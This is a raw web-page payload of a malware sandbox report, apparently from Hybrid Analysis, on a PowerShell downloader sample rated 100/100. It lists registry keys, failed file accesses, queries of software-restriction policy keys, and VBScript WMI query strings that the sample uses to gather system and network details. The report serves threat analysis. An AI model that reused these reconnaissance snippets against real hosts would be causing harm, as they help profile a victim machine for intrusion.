21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 5e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4b1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious TrojanDownloader/PS.Agent Sample 7a0b96f10635… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7a0b96f10635…. Malware family: TrojanDownloader/PS.Agent. Threat score 100/100. 1/26 AV engines flagged this file. 4 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d","keywords":["Malicious","TrojanDownloader/PS.Agent","malware analysis","sandbox report","threat intelligence","7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d"],"about":{"@type":"SoftwareApplication","name":"28884ed8_ft.txt","applicationCategory":["powershell","ps"],"identifier":"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"TrojanDownloader/PS.Agent","antivirusDetections":{"malicious":1,"total":26},"behavioralIndicators":{"malicious":4,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:T7f4,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23:T3bbe,"Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "y\Machine\Software\Classes\AppID\wscript.exe" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "74-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}Z" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046} " in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000000.255416.762F0000.00000004.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D8B858BD-F5F1-4FA3-972A-D0C63DD54CF5}" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "i\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{1" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003076.00000001.257334.762F0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000001.257334.79F30000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000001.257334.79F30000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{420B2830-E718-11CF-893D-00A0C9054228}" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D8B858BD-F5F1-4FA3-972A-D0C63DD54CF5}" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{1" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003076.00000002.259256.762F0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003076.00000002.259256.763CF000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003076.00000002.259256.763CF000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.763CF000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00003076.00000002.259256.7A160000.00000004.mdmp "stry|Software\" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsof'" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|CurrentType" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\PriorityControl|Win32PrioritySeparation" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows\CurrentVersion|RegisteredOrganization" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Control\ProductOptions|ProductSuite" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot%" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{85" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}Z" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000000.255414.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|KeepAliveInterval" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|MTU" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|NumForwardPackets" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnablePMTUDiscovery" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|Software\Microsoft\Windows NT\CurrentVersion\NetworkCards|Ser" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ArpAlwaysSourceRoute" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DatabasePath" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpi" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DefaultTOS" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|DefaultTT)" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|LeaseTerminatesTime" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services|L" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|ForwardBufferMemory" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "2Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnableLMHOSTS" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{85" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{1" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D8B858BD-F5F1-4FA3-972A-D0C63DD54CF5}" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{420B2830-E718-11CF-893D-00A0C9054228}" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "y\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-&" in Source: 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-0000000008" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WIN\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "PSModulePath=C:\Users\HAPUBWS\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsP\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}ers\K" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000001.257334.E8880000.00000004.mdmp "Win32Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|KeepAliveInterval" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "2Registry|SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|EnableLMHOSTS" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{85" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{1" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\TypeLib\{420B2830-E718-11CF-893D-00A0C9054228}" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D8B858BD-F5F1-4FA3-972A-D0C63DD54CF5}" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "y\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-&" in Source: 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000002.259252.E8880000.00000004.mdmp "\Registry\Machine\Software\Classes\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000346-0000-0000-C000-000000000046}" in Source: 00000000-00005276.00000002.259252.E8AC0000.00000004.mdmp24:T99a,"powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\DESKTOP.INI" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8QJI8J4JJB1PCN9I2I1.TEMP" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8QJI8J4JJB1PCN9I2I1.temp" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"25:T10f4,Found string "set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set tzItems=ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: "select * from "; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set tzItems=ObjWMI.ExecQuery("SELECT * FROM Win32_TimeZone")" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")26:T59b,"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "wscript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "wscript.exe" (Path: 